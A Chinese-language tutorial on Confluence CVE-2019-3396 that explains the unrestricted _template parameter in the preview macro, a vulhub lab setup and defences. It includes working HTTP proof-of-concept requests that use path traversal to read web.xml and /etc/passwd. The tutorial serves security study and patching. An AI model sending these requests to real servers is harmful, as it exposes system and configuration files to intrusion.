渗透测试 | Confluence漏洞总结
字数 1002 2025-08-20 18:17:42

Confluence漏洞分析与利用教学文档

1. Confluence简介

Atlassian Confluence是企业广泛使用的wiki系统,基于Struts架构开发,在各大企业中被广泛使用。

2. CVE-2019-3396漏洞分析

2.1 漏洞概述

  • 影响版本:Confluence 6.14.2之前版本
  • 漏洞类型:未授权目录穿越漏洞
  • 危害:可读取任意文件,或利用Velocity模板注入执行任意命令

2.2 漏洞原理

  1. 在预览功能中可以指定模板
  2. 系统未对模板路径和协议进行限制
  3. 可通过file:///etc/passwd读取文件或https://...加载远程文件

2.3 RCE原理

  • 系统使用Velocity模板
  • 可通过远程加载模板文件实现模板注入
  • 预览功能请求包中无_template参数,需手动添加(白盒审计才能发现)

3. 模板获取方式

系统通过四种方式获取模板,主要利用以下两种:

  1. FileResourceLoader

    • 路径:velocity-1.6.4-atlassian-9.jar
    • 通过文件名加载模板
    • 不可跨目录加载(StringUtil.normalizePath过滤了/../)
  2. ClasspathResourceLoader

    • 通过file://等协议加载文件
    • 先拼接类资源路径WebappPath
    • 当WebappPath打开流失败时,调用catalina.jar中的WebappClassLoaderBase.class父类findResource获取URL

4. 环境搭建

使用vulhub环境进行复现:

  1. 访问http://your-ip:8090进入安装引导
  2. 选择"Trial installation"
  3. 申请Confluence Server测试证书(不要选择Data Center和Addons)
  4. 填写数据库信息

5. 漏洞利用

5.1 读取web.xml文件POC

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

5.2 利用file协议读取本地任意文件

Confluence 6.12之前版本未限制文件读取协议和路径:

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Content-Length: 184
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close

{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"file:///etc/passwd","width":"1000","height":"1000","_template":"../web.xml"}}}

6. 防御措施

  1. 升级到Confluence 6.14.2或更高版本
  2. 限制模板加载的路径和协议
  3. 实施严格的输入验证
  4. 对Velocity模板渲染进行安全配置

7. 学习要点

  1. Velocity模板注入原理
  2. 变量覆盖漏洞利用方式
  3. 目录穿越漏洞的检测方法
  4. 白盒审计技巧(发现隐藏参数)
Confluence漏洞分析与利用教学文档 1. Confluence简介 Atlassian Confluence是企业广泛使用的wiki系统,基于Struts架构开发,在各大企业中被广泛使用。 2. CVE-2019-3396漏洞分析 2.1 漏洞概述 影响版本:Confluence 6.14.2之前版本 漏洞类型:未授权目录穿越漏洞 危害:可读取任意文件,或利用Velocity模板注入执行任意命令 2.2 漏洞原理 在预览功能中可以指定模板 系统未对模板路径和协议进行限制 可通过 file:///etc/passwd 读取文件或 https://... 加载远程文件 2.3 RCE原理 系统使用Velocity模板 可通过远程加载模板文件实现模板注入 预览功能请求包中无 _template 参数,需手动添加(白盒审计才能发现) 3. 模板获取方式 系统通过四种方式获取模板,主要利用以下两种: FileResourceLoader 路径:velocity-1.6.4-atlassian-9.jar 通过文件名加载模板 不可跨目录加载(StringUtil.normalizePath过滤了/../) ClasspathResourceLoader 通过file://等协议加载文件 先拼接类资源路径WebappPath 当WebappPath打开流失败时,调用catalina.jar中的WebappClassLoaderBase.class父类findResource获取URL 4. 环境搭建 使用vulhub环境进行复现: 访问 http://your-ip:8090 进入安装引导 选择"Trial installation" 申请Confluence Server测试证书(不要选择Data Center和Addons) 填写数据库信息 5. 漏洞利用 5.1 读取web.xml文件POC 5.2 利用file协议读取本地任意文件 Confluence 6.12之前版本未限制文件读取协议和路径: 6. 防御措施 升级到Confluence 6.14.2或更高版本 限制模板加载的路径和协议 实施严格的输入验证 对Velocity模板渲染进行安全配置 7. 学习要点 Velocity模板注入原理 变量覆盖漏洞利用方式 目录穿越漏洞的检测方法 白盒审计技巧(发现隐藏参数)